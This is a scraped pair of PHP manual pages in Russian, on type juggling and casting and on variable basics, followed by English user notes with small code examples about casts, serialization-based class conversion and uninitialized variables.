Чтобы принудительно установить тип переменной, смотрите раздел Приведение типа. Чтобы изменить тип переменной, смотрите описание функции settype().

Числовой контекст

Контекст при использовании арифметического оператора.

В данном контексте, если один из операндов является числом с плавающей точкой (float) (или не интерпретируется как целое число (int)), оба операнда интерпретируются как число с плавающей точкой (float) и результатом будет число с плавающей точкой (float). В противном случае операнды будут интерпретированы как целое число (int) и результатом также будет целое число (int). Начиная с PHP 8.0.0, если один из операндов не может быть интерпретирован, выбрасывается ошибка TypeError.

Строчный контекст

Контекст при использовании функций echo, print, интерполяции строк или строкового оператора конкатенации.

В данном контексте значение будет интерпретироваться как строка (string). Если значение не может быть интерпретировано, выбрасывается ошибка TypeError. До версии PHP 7.4.0 выдавалась ошибка уровня E_RECOVERABLE_ERROR.

Логический контекст

Контекст при использовании условных операторов, тернарного оператора или логического оператора.

В данном контексте значение будет интерпретироваться как логическое значение (bool).

Контекст целых чисел и строк

Контекст при использовании побитовых операторов.

В данном контексте, если у всех операндов тип строка (string), результат также будет строкой (string). В противном случае операнды будут интерпретированы как целое число (int) и результат также будет целым числом (int). Начиная с PHP 8.0.0, если один из операндов не может быть интерпретирован, то будет выброшена ошибка TypeError.

Сравнительный контекст

Контекст при использовании оператора сравнения.

Преобразования типов, которые происходят в этом контексте, объясняются в таблице сравнения различных типов раздела Операторы сравнения.

Контекст функций

Контекст, когда значение передаётся типизированному параметру, свойству или возвращается из функции, в которой объявлен тип возвращаемого значения.

В этом контексте значение должно быть значением данного типа. Существуют два исключения, первое: если тип значения - целое число (int), а объявленный тип - число с плавающей точкой (float), то целое число преобразуется в число с плавающей точкой. Второй: если объявленный тип является скалярным типом, значение преобразуется в скалярный тип и режим строгой типизации активен (по умолчанию), значение может быть преобразовано в допустимое скалярное значение. Описание такого поведения смотрите ниже.

Внимание

Встроенные функции автоматически подставляют null к скалярным типам, это поведение УСТАРЕЛО в PHP 8.1.0.

Принудительная типизация с простым объявлением типов

  • Объявление типа bool: значение интерпретируется как логическое значение (bool).
  • Объявление типа int: значение интерпретируется как целое число (int), если преобразование хорошо определено. Например, строка является числовой строкой.
  • Объявление типа float: значение интерпретируется как число с плавающей точкой (float) если преобразование хорошо определено. Например, строка является числовой строкой.
  • Объявление типа string: значение интерпретируется как строка (string).

Принудительная типизация с объединением типов

При выключенном strict_types, объявления скалярных типов подвергаются ограниченному неявному приведению типов. Если точный тип значения не является частью объединения, то целевой тип выбирается в следующем порядке предпочтения:

  1. int
  2. float
  3. string
  4. bool
Если тип и существует в объединении и значение может быть приведено к этому типу в соответствии с существующей семантикой проверки типов PHP, то выбирается этот тип. В противном случае выбирается следующий тип.

Предостережение

В качестве исключения, если значение является строкой, а целое число (int) и число с плавающей точкой (float) являются частью объединения, предпочтительный тип определяется существующей семантикой числовой строки. Например, для "42" выбирается целое число (int), а для "42.0" выбирается число с плавающей точкой (float).

Замечание:

Типы, не входящие в приведённый выше список предпочтений, не являются объектами для неявного приведения. В частности, не происходит неявного приведения к типам null, false и true.

Пример #1 Пример принудительного включения типов в состав объединения

<?php
// int|string
42 --> 42 // точный тип
"42" --> "42" // точный тип
new ObjectWithToString --> "Результат __toString()"
// объект не совместим с int, переход к string
42.0 --> 42 // float совместимый с int
42.1 --> 42 // float совместимый с int
1e100 --> "1.0E+100" // float слишком велик для типа int, переход к string
INF --> "INF" // float слишком велик для типа int, переход к string
true --> 1 // bool совместимый с int
[] --> TypeError // массив не совместим с int или string

// int|float|bool
"45" --> 45 // int числовая строка
"45.0" --> 45.0 // float числовая строка

"45X" --> true // не числовая строка, переход к bool
"" --> false // не числовая строка, переход к bool
"X" --> true // не числовая строка, переход к bool
[] --> TypeError // массив не совместимый с int, float или bool
?>

Приведение типов

Приведение типа преобразует значение к выбранному типу, записывая тип в круглых скобках перед преобразуемым значением.

<?php
$foo = 10; // $foo - это целое число
$bar = (bool) $foo; // $bar - это логическое значение
?>

Допускаются следующие приведения типов:

  • (int) - приведение типа к целому числу (int)
  • (bool) - приведение типа к логическому значению (bool)
  • (float) - приведение типа к числу с плавающей точкой (float)
  • (string) - приведение типа к строке (string)
  • (array) - приведение типа к массиву (array)
  • (object) - приведение типа к объекту (object)
  • (unset) - приведение типа к NULL

Замечание:

(integer) является псевдонимом приведения типа (int). (boolean) является псевдонимом приведения типа (bool). (binary) является псевдонимом приведения типа (string). (double) и (real) являются псевдонимами приведения типа (float). Эти приведения не используют каноническое имя типа и не рекомендуются.

Внимание

Псевдоним приведения типа (real) устарел, начиная с PHP 8.0.0.

Внимание

Приведение типа (unset) устарело, начиная с версии PHP 7.2.0. Обратите внимание, что приведение (unset) равносильно присвоению переменной или вызову значения NULL. Приведение (unset) удалено в PHP 8.0.0.

Предостережение

Приведение типа (binary) и префикс b существуют для прямой поддержки. В настоящее время (binary) и (string) идентичны, однако это может измениться и на это не следует полагаться.

Замечание:

Пробелы игнорируются в круглых скобках при приведении типа. Таким образом, следующие два приведения типов эквивалентны:

<?php
$foo = (int) $bar;
$foo = ( int ) $bar;
?>

Приведение строк (string) и переменных к бинарным строкам (string):

<?php
$binary = (binary) $string;
$binary = b"binary string";
?>

Замечание: Вместо приведения переменной к типу строка (string) можно также заключить переменную в двойные кавычки.

<?php
$foo = 10; // $foo является целым числом
$str = "$foo"; // $str является строкой
$fst = (string) $foo; // $fst также является строкой

// Выводит, что "они одинаковые"
if ($fst === $str) {
echo "они одинаковые";
}
?>

Может быть неочевидно, что именно произойдёт при преобразовании между определёнными типами. Для получения дополнительной информации смотрите эти разделы:

  • Преобразование типа к логическому значению (boolean)
  • Преобразование типа к целому числу (integer)
  • Преобразование типа к числу с плавающей точкой (float)
  • Преобразование типа к строке (string)
  • Преобразование типа к массиву (array)
  • Преобразование типа к объекту (object)
  • Преобразование типа к ресурсу (resource)
  • Преобразование типа к NULL
  • Таблицы сравнения типов

Замечание: Поскольку PHP поддерживает индексацию в строках (string) с помощью смещения, используя тот же синтаксис, что и индексация в массивах (array), следующий пример справедлив для всех версий PHP:

<?php
$a = 'car'; // $a является строкой
$a[0] = 'b'; // $a по-прежнему является строкой
echo $a; // bar
?>
Дополнительную информацию смотрите в разделе Доступ к символу в строке и его изменение.

User Contributed Notes

Anonymous 05-Feb-2021 01:07
Cast operators have a very high precedence, for example (int)$a/$b is evaluated as ((int)$a)/$b, not as (int)($a/$b) [which would be like intdiv($a,$b) if both $a and $b are integers].
The only exceptions (as of PHP 8.0) are the exponentiation operator ** [i.e. (int)$a**$b is evaluated as (int)($a**$b) rather than ((int)$a)**$b] and the special access/invocation operators ->, ::, [] and () [i.e. in each of (int)$a->$b, (int)$a::$b, (int)$a[$b] and (int)$a($b), the cast is performed last on the result of the variable expression].
Dhairya Lakhera 25-Jul-2019 10:02
Value of uninitialized variable of different data types.

settype($a,'bool');
var_dump($a);         //boolean false

settype($b,'string');
var_dump($b);        //string '' (length=0)

settype($c,'array');
var_dump($c);        //array (size=0)  empty

settype($d,'int');
var_dump($d);       //int 0

settype($e,'float');
var_dump($e);      //float 0

settype($f,'object');
var_dump($f);     //object(stdClass)[1]
Anonymous 11-Mar-2019 05:16
"An example of PHP's automatic type conversion is the multiplication operator '*'. If either operand is a float, then both operands are evaluated as floats, and the result will be a float. Otherwise, the operands will be interpreted as integers, and the result will also be an integer. Note that this does not change the types of the operands themselves; the only change is in how the operands are evaluated and what the type of the expression itself is."

I understand what the doc is trying to say here, but this sentence is not correct as stated, other types can be coerced into floats.

e.g.

<?php
$a = "1.5"; // $a is a string
$b = 100; // $b is an int
$c = $a * $b; // $c is a float, value is 150
// multiplication resulted in a float despite fact that neither operand was a float
berniev 15-Sep-2015 11:23
May be expected, but not stated ..
Casting to the existing (same) type has no effect.
$t = 'abc';          // string 'abc'
$u=(array) $t;   // array 0 => string 'abc'  <-- now an array
$v=(array) $u;  // array 0 => string 'abc'  <-- unchanged
davaakhuu at outlook dot com 03-Jun-2015 07:29
Type Juggling<br/>
   <?php $count = "2 cats"; ?>
   Type: <?php echo gettype($count); ?><br/>
   <?php $count += 3; ?>
   Type: <?php echo gettype($count); ?><br/>
   <?php $cats = "I have " . $count . "cats."; ?>
   Cats: <?php echo gettype($cats); ?><br/>
   <br/>
   Type Casting<br/>
   <?php settype($count, "integer"); ?>
   count: <?php echo gettype($count); ?><br/>

   <?php $count2 = (string)$count; ?>
   count: <?php echo gettype($count); ?><br/>
   count2: <?php echo gettype($count2); ?><br/>

   <?php $test1 = 3; ?>
   <?php $test2 = 3; ?>
   <?php settype($test1, "string"); ?>
   <?php (string)$test2; ?>
   test1: <?php echo gettype($test1); ?><br/>
   test2: <?php echo gettype($test2); ?><br/>
mbrowne83 (at GM) 27-Dec-2014 01:15
The code listed in some of the comments here for supposedly "casting" from one class to another using unserialize/serialize does not actually change the class of the existing object; it creates a new object. So it's not the same as a cast.
Eric Lavoie 02-Oct-2014 09:24
(array) null
array(null)

are not the same.

var_dump((array) null) =>
array (size=0)
  empty

var_dump(array (null)) =>
array (size=1)
  0 => null
kuzawinski dot marcin at NOSPAM dot gmail dot com 14-Jul-2014 09:40
You REALLY must be aware what you are doing, when you cast a lot  in your code. For example, you can accidentaly change FALSE to TRUE  (probably not in one line, like here):

if(TRUE === (boolean) (array) (int) FALSE) {
    kaboom();
}
fardelian 13-Apr-2013 03:23
Casting objects to arrays is a pain. Example:

<?php

class MyClass {

    private $priv = 'priv_value';
    protected $prot = 'prot_value';
    public $pub = 'pub_value';
    public $MyClasspriv = 'second_pub_value';

}

$test = new MyClass();
echo '<pre>';
print_r((array) $test);

/*
Array
(
    [MyClasspriv] => priv_value
    [*prot] => prot_value
    [pub] => pub_value
    [MyClasspriv] => second_pub_value
)
 */

?>

Yes, that looks like an array with two keys with the same name and it looks like the protected field was prepended with an asterisk. But that's not true:

<?php

foreach ((array) $test as $key => $value) {
    $len = strlen($key);
    echo "{$key} ({$len}) => {$value}<br />";
    for ($i = 0; $i < $len; ++$i) {
        echo ord($key[$i]) . ' ';
    }
    echo '<hr />';
}

/*
MyClasspriv (13) => priv_value
0 77 121 67 108 97 115 115 0 112 114 105 118
*prot (7) => prot_value
0 42 0 112 114 111 116
pub (3) => pub_value
112 117 98
MyClasspriv (11) => second_pub_value
77 121 67 108 97 115 115 112 114 105 118
 */

?>

The char codes show that the protected keys are prepended with '\0*\0' and private keys are prepended with '\0'.__CLASS__.'\0' so be careful when playing around with this.
ieee at REMOVE dot bk dot ru 17-Jun-2012 04:26
There are some shorter and faster (at least on my machine) ways to perform a type cast.
<?php
$string='12345.678';
$float=+$string;
$integer=0|$string;
$boolean=!!$string;
?>
Anonymous 07-Feb-2012 06:31
namaroulis stated "I found it tricky to check if a posted value was an integer"; to test if a variable is a number or a numeric string (such as form input, which is always a string), you must use is_numeric():

<?php
$_POST['a'] = "42";

is_numeric( $_POST['a'] ); // true
?>
hemi68 at hotmail dot com 06-Sep-2011 08:01
Cast a string to binary using PHP < 5.2.1

 $binary = unpack('c*', $string);
jphansen at uga dot edu 21-Apr-2011 10:53
Type casting from string to int and vice versa is probably the most common conversation. PHP does this very simply through the +. and .= operators, removing any explicit casting:

<?php
$x = 1;
var_dump($x); // int(1)
$x .= 1;
var_dump($x); // string(2) "11"; also an empty string ("") would cast to string without changing $x

$x = "1";
var_dump($x);  // string(1) "1"
$x += 1;
var_dump($x); // int(2); also a zero value (0) would cast to int without changing $x
?>
Anonymous 11-Mar-2011 11:01
Checking for strings to be integers?
How about if a string is a float?

<?php

/* checks if a string is an integer with possible whitespace before and/or after, and also isolates the integer */
$isInt=preg_match('/^\s*([0-9]+)\s*$/', $myString, $myInt);

echo 'Is Integer? ',  ($isInt) ? 'Yes: '.$myInt[1] : 'No', "\n";

/* checks if a string is an integer with no whitespace before or after  */
$isInt=preg_match('/^[0-9]+$/', $myString);

echo 'Is Integer? ',  ($isInt) ? 'Yes' : 'No', "\n";

/* When checking for floats, we assume the possibility of no decimals needed.  If you MUST require decimals (forcing the user to type 7.0 for example) replace the sequence:
[0-9]+(\.[0-9]+)?
with
[0-9]+\.[0-9]+
*/

/* checks if a string is a float with possible whitespace before and/or after, and also isolates the number */
$isFloat=preg_match('/^\s*([0-9]+(\.[0-9]+)?)\s*$/', $myString, $myNum);

echo 'Is Number? ',  ($isFloat) ? 'Yes: '.$myNum[1] : 'No', "\n";

/* checks if a string is a float with no whitespace before or after */
$isInt=preg_match('/^[0-9]+(\.[0-9]+)?$/', $myString);

echo 'Is Number? ',  ($isFloat) ? 'Yes' : 'No', "\n";

?>
namaroulis at gmail dot com 02-Mar-2011 01:47
I found it tricky to check if a posted value was an integer.

<?php

$_POST['a'] = "42";

is_int( $_POST['a'] ); //false
is_int( intval( "anything" ) ); //always true
?>

A method I use for checking if a string represents an integer value.

<?php
function check_int( $str )
                {
                    return  is_numeric( $str ) && intval( $str ) - $str == 0;
                }
?>
rmirabelle 17-Oct-2010 10:18
The object casting methods presented here do not take into account the class hierarchy of the class you're trying to cast your object into.

/**
     * Convert an object to a specific class.
     * @param object $object
     * @param string $class_name The class to cast the object to
     * @return object
     */
    public static function cast($object, $class_name) {
        if($object === false) return false;
        if(class_exists($class_name)) {
            $ser_object     = serialize($object);
            $obj_name_len     = strlen(get_class($object));
            $start             = $obj_name_len + strlen($obj_name_len) + 6;
            $new_object      = 'O:' . strlen($class_name) . ':"' . $class_name . '":';
            $new_object     .= substr($ser_object, $start);
            $new_object     = unserialize($new_object);
            /**
             * The new object is of the correct type but
             * is not fully initialized throughout its graph.
             * To get the full object graph (including parent
             * class data, we need to create a new instance of
             * the specified class and then assign the new
             * properties to it.
             */
            $graph = new $class_name;
            foreach($new_object as $prop => $val) {
                $graph->$prop = $val;
            }
            return $graph;
        } else {
            throw new CoreException(false, "could not find class $class_name for casting in DB::cast");
            return false;
        }
    }
martinscotta at gmail dot com 21-Sep-2010 08:44
in response to bhsmither at gmail.com

It raises a warning because of the bad enquoted variable

<?php

error_reporting( E_ALL | E_STRICT );

$foo['ten'] = 10;        // $foo['ten'] is an array holding an integer at key "ten"
$str = "{$foo['ten']}";  // works "10"
$str = "$foo[ten]";      // DO NOT work!
bhsmither at gmail.com 19-Mar-2010 03:41
<?php
$foo['ten'] = 10;            // $foo['ten'] is an array holding an integer at key "ten"
$str = "$foo['ten']";        // throws T_ENCAPSED_AND_WHITESPACE error
$str = "$foo[ten]";          // works because constants are skipped in quotes
$fst = (string) $foo['ten']; // works with clear intention
?>
edgar dot klerks at gmail dot com 17-Mar-2009 08:04
It seems (unset) is pretty useless. But for people who like to make their code really compact (and probably unreadable). You can use it to use an variable and unset it on the same line:

Without cast:

<?php

$hello = 'Hello world';
print $hello;
unset($hello);

?>

With the unset cast:

<?php

$hello = 'Hello world';
$hello = (unset) print $hello;

?>

Hoorah, we lost another line!
kajsunansis at that gmail 03-Dec-2008 11:18
json_decode users consider this, when casting stdClass to array:
<?php
$obj = new stdClass();
$obj->{"2"} = "id";
$arr = (array) $obj;
$result = isset($arr["2"]) || array_key_exists(2, $arr); // false
?>
..though casting is at least 2x faster than foreach.
Jeffrey 09-Nov-2008 11:34
IMAGINATION REQUIRED...

We can be a witness to PHP's 'type-jugglin' in real-time with a simple implementation of a MemoryMap. For the sake our purposes, pretend that this is an empty MemoryMap.
+-------+------+------+-------+
| index | $var | type | value |
+-------+------+------+-------+
|     1 |  --- | NULL |  null |
|     2 |  --- | NULL |  null |
|     3 |  --- | NULL |  null |
|     4 |  --- | NULL |  null |
+-------+------+------+-------+

<?php
# create some variables...
$a = 10;
$b = "Hello";
$c = array(55.45, 98.65);
# Now look at map...
?>
+-------+-------+---------+--------+
| index |  $var |    type |  value |
+-------+-------+---------+--------+
|     1 |    $a | INTEGER |     10 |
|     2 |    $b |  STRING |  Hello |
|     3 | $c[0] |   FLOAT |  55.45 |
|     4 | $c[1] |   FLOAT |  98.65 |
+-------+-------+---------+--------+
<?php
# Now, change the variable types...
$a = "Bye";
$b = 2;
$c[0] = "Buy";
$c[1] = "Now!";
#Look at map...
?>
+-------+-------+---------+--------+
| index |  $var |    type |  value |
+-------+-------+---------+--------+
|     1 |    $a |  STRING |    Bye | <- used to be INTEGER
|     2 |    $b | INTEGER |      2 | <- used to be STRING
|     3 | $c[0] |  STRING |    Buy | <- used to be FLOAT
|     4 | $c[1] |  STRING |  Right | <- used to be FLOAT
+-------+-------+---------+--------+
hek at theeks dot net 17-Oct-2008 09:24
It would be useful to know the precedence (for lack of a better word) for type juggling.  This entry currently explains that "if either operand is a float, then both operands are evaluated as floats, and the result will be a float" but could (and I think should) provide a hierarchy that indicates, for instance, "between an int and a boolean, int wins; between a float and an int, float wins; between a string and a float, string wins" and so on (and don't count on my example accurately capturing the true hierarchy, as I haven't actually done the tests to figure it out).  Thanks!
wbcarts at juno dot com 07-Oct-2008 06:05
WHERE'S THE BEEF?

Looks like type-casting user-defined objects is a real pain, and ya gotta be nuttin' less than a brain jus ta cypher-it. But since PHP supports OOP, you can add the capabilities right now. Start with any simple class.
<?php
class Point {
  protected $x, $y;

  public function __construct($xVal = 0, $yVal = 0) {
    $this->x = $xVal;
    $this->y = $yVal;
  }
  public function getX() { return $this->x; }
  public function getY() { return $this->y; }
}

$p = new Point(25, 35);
echo $p->getX();      // 25
echo $p->getY();      // 35
?>
Ok, now we need extra powers. PHP gives us several options:
  A. We can tag on extra properties on-the-fly using everyday PHP syntax...
    $p->z = 45; // here, $p is still an object of type [Point] but gains no capability, and it's on a per-instance basis, blah.
  B. We can try type-casting it to a different type to access more functions...
    $p = (SuperDuperPoint) $p; // if this is even allowed, I doubt it. But even if PHP lets this slide, the small amount of data Point holds would probably not be enough for the extra functions to work anyway. And we still need the class def + all extra data. We should have just instantiated a [SuperDuperPoint] object to begin with... and just like above, this only works on a per-instance basis.
  C. Do it the right way using OOP - and just extend the Point class already.
<?php
class Point3D extends Point {
  protected $z;                                // add extra properties...

  public function __construct($xVal = 0, $yVal = 0, $zVal = 0) {
    parent::__construct($xVal, $yVal);
    $this->z = $zVal;
  }
  public function getZ() { return $this->z; }  // add extra functions...
}

$p3d = new Point3D(25, 35, 45);  // more data, more functions, more everything...
echo $p3d->getX();               // 25
echo $p3d->getY();               // 35
echo $p3d->getZ();               // 45
?>
Once the new class definition is written, you can make as many Point3D objects as you want. Each of them will have more data and functions already built-in. This is much better than trying to beef-up any "single lesser object" on-the-fly, and it's way easier to do.
lucazd at gmail dot com 23-Sep-2008 09:20
@alexgr (20-Jun-2008)

Correct me if I'm wrong, but that is not a cast, it might be useful sometimes, but the IDE will not reflect what's really happening:

<?php
class MyObject {
    /**
     * @param MyObject $object
     * @return MyObject
     */
    static public function cast(MyObject $object) {
        return $object;
    }
    /** Does nothing */
    function f() {}
}

class X extends MyObject {
    /** Throws exception */
    function f() { throw new exception(); }
}

$x = MyObject::cast(new X);
$x->f(); // Your IDE tells 'f() Does nothing'
?>

However, when you run the script, you will get an exception.
nullhilty at gmail dot com 09-Sep-2008 11:34
Just a little experiment on the (unset) type cast:

<?php
$var = 1;
$var_unset = (unset) $var;
$var_ref_unset &= (unset) $var;
var_dump($var);
var_dump($var_unset);
var_dump($var_ref_unset);
?>

output:
int(1)
NULL
int(0)
alexgr at gmail dot com 20-Jun-2008 03:43
For a Cast to a User Defined Object you can define a cast method:

class MyObject {
    /**
     * @param MyObject $object
     * @return MyObject
     */
    static public function cast(MyObject $object) {
        return $object;
    }
}

In your php page code you can:
$myObject = MyObject::cast($_SESSION["myObject"]);

Then, PHP will validate the value and your IDE will help you.
miracle at 1oo-percent dot de 20-Feb-2006 05:26
If you want to convert a string automatically to float or integer (e.g. "0.234" to float and "123" to int), simply add 0 to the string - PHP will do the rest.

e.g.

$val = 0 + "1.234";
(type of $val is float now)

$val = 0 + "123";
(type of $val is integer now)
22-Jun-2005 05:47
If you have a boolean, performing increments on it won't do anything despite it being 1.  This is a case where you have to use a cast.

<html>
<body> <!-- don't want w3.org to get mad... -->
<?php
$bar = TRUE;
?>
I have <?=$bar?> bar.
<?php
$bar++;
?>
I now have <?=$bar?> bar.
<?php
$bar = (int) $bar;
$bar++;
?>
I finally have <?=$bar?> bar.
</body>
</html>

That will print

I have 1 bar.
I now have 1 bar.
I finally have 2 bar.
toma at smartsemantics dot com 09-Mar-2005 06:24
In my much of my coding I have found it necessary to type-cast between objects of different class types.

More specifically, I often want to take information from a database, convert it into the class it was before it was inserted, then have the ability to call its class functions as well.

The following code is much shorter than some of the previous examples and seems to suit my purposes.  It also makes use of some regular expression matching rather than string position, replacing, etc.  It takes an object ($obj) of any type and casts it to an new type ($class_type).  Note that the new class type must exist:

function ClassTypeCast(&$obj,$class_type){
    if(class_exists($class_type,true)){
        $obj = unserialize(preg_replace"/^O:[0-9]+:\"[^\"]+\":/i",
          "O:".strlen($class_type).":\"".$class_type."\":", serialize($obj)));
    }
}
Raja 10-Feb-2005 03:05
Uneven division of an integer variable by another integer variable will result in a float by automatic conversion -- you do not have to cast the variables to floats in order to avoid integer truncation (as you would in C, for example):

$dividend = 2;
$divisor = 3;
$quotient = $dividend/$divisor;
print $quotient; // 0.66666666666667
tom5025_ at hotmail dot com 24-Aug-2004 01:27
function strhex($string)
{
   $hex="";
   for ($i=0;$i<strlen($string);$i++)
       $hex.=dechex(ord($string[$i]));
   return $hex;
}
function hexstr($hex)
{
   $string="";
   for ($i=0;$i<strlen($hex)-1;$i+=2)
       $string.=chr(hexdec($hex[$i].$hex[$i+1]));
   return $string;
}

to convert hex to str and vice versa
dimo dot vanchev at bianor dot com 10-Mar-2004 07:02
For some reason the code-fix posted by philip_snyder at hotmail dot com [27-Feb-2004 02:08]
didn't work for me neither with long_class_names nor with short_class_names. I'm using PHP v4.3.5 for Linux.
Anyway here's what I wrote to solve the long_named_classes problem:

<?php
function typecast($old_object, $new_classname) {
    if(class_exists($new_classname)) {
        $old_serialized_object = serialize($old_object);
        $old_object_name_length = strlen(get_class($old_object));
        $subtring_offset = $old_object_name_length + strlen($old_object_name_length) + 6;
        $new_serialized_object  = 'O:' . strlen($new_classname) . ':"' . $new_classname . '":';
        $new_serialized_object .= substr($old_serialized_object, $subtring_offset);
        return unserialize($new_serialized_object);
     } else {
         return false;
     }
}
?>
philip_snyder at hotmail dot com 27-Feb-2004 07:08
Re: the typecasting between classes post below... fantastic, but slightly flawed. Any class name longer than 9 characters becomes a problem... SO here's a simple fix:

function typecast($old_object, $new_classname) {
  if(class_exists($new_classname)) {
    // Example serialized object segment
    // O:5:"field":9:{s:5:...   <--- Class: Field
    $old_serialized_prefix  = "O:".strlen(get_class($old_object));
    $old_serialized_prefix .= ":\"".get_class($old_object)."\":";

    $old_serialized_object = serialize($old_object);
    $new_serialized_object = 'O:'.strlen($new_classname).':"'.$new_classname . '":';
    $new_serialized_object .= substr($old_serialized_object,strlen($old_serialized_prefix));
   return unserialize($new_serialized_object);
  }
  else
   return false;
}

Thanks for the previous code. Set me in the right direction to solving my typecasting problem. ;)
post_at_henribeige_dot_de 03-May-2003 09:37
If you want to do not only typecasting between basic data types but between classes, try this function. It converts any class into another. All variables that equal name in both classes will be copied.

function typecast($old_object, $new_classname) {
  if(class_exists($new_classname)) {
    $old_serialized_object = serialize($old_object);
    $new_serialized_object = 'O:' . strlen($new_classname) . ':"' . $new_classname . '":' .
                             substr($old_serialized_object, $old_serialized_object[2] + 7);
    return unserialize($new_serialized_object);
  }
  else
    return false;
}

Example:

class A {
  var $secret;
  function A($secret) {$this->secret = $secret;}
  function output() {echo("Secret class A: " . $this->secret);}
}

class B extends A {
  var $secret;
  function output() {echo("Secret class B: " . strrev($this->secret));}
}

$a = new A("Paranoia");
$b = typecast($a, "B");

$a->output();
$b->output();
echo("Classname \$a: " . get_class($a) . "Classname \$b: " . get_class($b));

Output of the example code above:

Secret class A: Paranoia
Secret class B: aionaraP
Classname $a: a
Classname $b: b
yury at krasu dot ru 27-Nov-2002 01:24
incremental operator ("++") doesn't make type conversion from boolean to int, and if an variable is boolean and equals TRUE than after ++ operation it remains as TRUE, so:

$a = TRUE;
echo ($a++).$a;  // prints "11"
28-Aug-2002 10:26
Printing or echoing a FALSE boolean value or a NULL value results in an empty string:
(string)TRUE //returns "1"
(string)FALSE //returns ""
echo TRUE; //prints "1"
echo FALSE; //prints nothing!


Переменные

Содержание

  • Основы
  • Предопределённые переменные
  • Область видимости переменной
  • Переменные переменных
  • Переменные извне PHP

User Contributed Notes

There are no user contributed notes for this page.


Основы

Переменные в PHP представлены знаком доллара с последующим именем переменной. Имя переменной чувствительно к регистру.

Имена переменных соответствуют тем же правилам, что и остальные наименования в PHP. Правильное имя переменной должно начинаться с буквы или символа подчёркивания и состоять из букв, цифр и символов подчёркивания в любом количестве. Это можно отобразить регулярным выражением: ^[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*$

Замечание: Под буквами здесь подразумеваются символы a-z, A-Z и байты от 128 до 255 (0x80-0xff).

Замечание: $this - это специальная переменная, которой нельзя ничего присваивать. До PHP 7.1.0 было возможно косвенное присвоение (например, с использованием переменных переменных).

Подсказка

Смотрите также Руководство по именованию.

Для информации о функциях работы с переменными обращайтесь к разделу функций работы с переменными.

<?php
$var = 'Боб';
$Var = 'Джо';
echo "$var, $Var"; // выведет "Боб, Джо"

$4site = 'ещё нет'; // неверно; начинается с цифры
$_4site = 'ещё нет'; // верно; начинается с символа подчёркивания
$tayte = 'mansikka'; // верно; 'a' это (Расширенный) ASCII 228.
?>

По умолчанию переменные всегда присваиваются по значению. То есть, когда вы присваиваете выражение переменной, все значение оригинального выражения копируется в эту переменную. Это означает, к примеру, что после того как одной переменной присвоено значение другой, изменение одной из них не влияет на другую. Дополнительную информацию об этом способе присвоения смотрите в разделе Выражения.

PHP также предлагает иной способ присвоения значений переменным: присвоение по ссылке. Это означает, что новая переменная просто ссылается (иначе говоря, "становится псевдонимом" или "указывает") на оригинальную переменную. Изменения в новой переменной отражаются на оригинале, и наоборот.

Для присвоения по ссылке, просто добавьте амперсанд (&) к началу имени присваиваемой (исходной) переменной. Например, следующий фрагмент кода дважды выводит 'Меня зовут Боб':

<?php
$foo = 'Боб'; // Присваивает $foo значение 'Боб'
$bar = &$foo; // Ссылка на $foo через $bar.
$bar = "Меня зовут $bar"; // Изменение $bar...
echo $bar;
echo $foo; // меняет и $foo.
?>

Важно отметить, что по ссылке могут быть присвоены только именованные переменные.

<?php
$foo = 25;
$bar = &$foo; // Это верное присвоение.
$bar = &(24 * 7); // Неверно; ссылка на неименованное выражение.

function test()
{
return 25;
}

$bar = &test(); // Неверно.
?>

Хорошей практикой считается инициализировать переменные, хотя в PHP это и не является обязательным требованием. Неинициализированные переменные принимают значение по умолчанию в зависимости от их типа, который определяется из контекста их первого использования: булевы принимают значение false, целые числа и числа с плавающей точкой - ноль, строки (например, при использовании в echo) - пустую строку, а массивы становятся пустыми массивами.

Пример #1 Значения по умолчанию в неинициализированных переменных

<?php
// Неустановленная И не имеющая ссылок (то есть без контекста использования) переменная; выведет NULL
var_dump($unset_var);

// Булевое применение; выведет 'false' (Подробнее по этому синтаксису смотрите раздел о тернарном операторе)
echo $unset_bool ? "true\n" : "false\n";

// Строковое использование; выведет 'string(3) "abc"'
$unset_str .= 'abc';
var_dump($unset_str);

// Целочисленное использование; выведет 'int(25)'
$unset_int += 25; // 0 + 25 => 25
var_dump($unset_int);

// Использование в качестве числа с плавающей точкой (float); выведет 'float(1.25)'
$unset_float += 1.25;
var_dump($unset_float);

// Использование в качестве массива; выведет array(1) { [3]=> string(3) "def" }
$unset_arr[3] = "def"; // array() + array(3 => "def") => array(3 => "def")
var_dump($unset_arr);

// Использование в качестве объекта; создаёт новый объект stdClass (смотрите http://www.php.net/manual/ru/reserved.classes.php)
// Выведет: object(stdClass)#1 (1) { ["foo"]=> string(3) "bar" }
$unset_obj->foo = 'bar';
var_dump($unset_obj);
?>

Полагаться на значения по умолчанию неинициализированных переменных довольно проблематично при включении файла в другой файл, использующий переменную с таким же именем. В случае работы с неинициализированной переменной вызывается ошибка уровня E_WARNING (до PHP 8.0.0 выбрасывалась ошибка уровня E_NOTICE), за исключением случая добавления элементов в неинициализированный массив. Для обнаружения инициализации переменной может быть использована языковая конструкция isset().

User Contributed Notes

anisgazig at gmail dot com 05-Nov-2021 02:04
$this is a special variable so we can not assign it. But before PHP 7.1.0, indirect assignments such as variable variables are allowed.

$bd = "this";
$$bd = "CountryNickName";

echo $this;//allowed prior to PHP 7.1.0

but from the version of 7.1.0, it was not allowed and throw a fatal error
anisgazig at gmail dot com 17-Feb-2021 05:35
$this is a special variable so we can not assign it.But Prior to PHP 7.1.0, indirect assignment such as variable variables are allowed.

$bd = "this";
$$bd = "CountryNickName";

echo $this;//allowed prior to PHP 7.1.0

but from the version of 7.1.0,it was allowed.
anisgazig at gmail dot com 13-Feb-2021 04:41
clear concept of variable declaration rules and classification

variable declaration rules:

1.start with dollar sign($)
2.first letter of variable name comes from a-zA-z_
3.next letters of variable name comes from a-zA-Z0-9_
4.no space,no syntex

classification of variables:

Variable are mainly Two types
1.Predefined Variable
2.User Define Variable

Predefined Variable
There are 12 predefined variables in php 8
1.$GLOBALS
2.$_SERVER
3.$_REQUEST
4.$_FILES
5.$_ENV
6.$_SESSION
7.$_COOKIE
8.$_GET
9.$_POST
10.$http_response_header
11.$argc
12.$argv

User Define Variable
User Define variable are 3 types
1.variable scope
2.variable variables
3.reference variable

Variable Scope
variable scope are 3 types
1.local scope
2.global scope
3.static variable
Anonymous 08-Feb-2017 05:21
I highly recommend to use an editor that can list all variable names in a separate window.

The reason are typing errors in variable names.

<?php
$somename = "nobody";
// Now we want to use $somename  somewhere
echo $somemane ;
?>
And wonder why it doesn't print "nobody".
The reason is simple, we have a typing error in $somename and $somemane is a new variable.

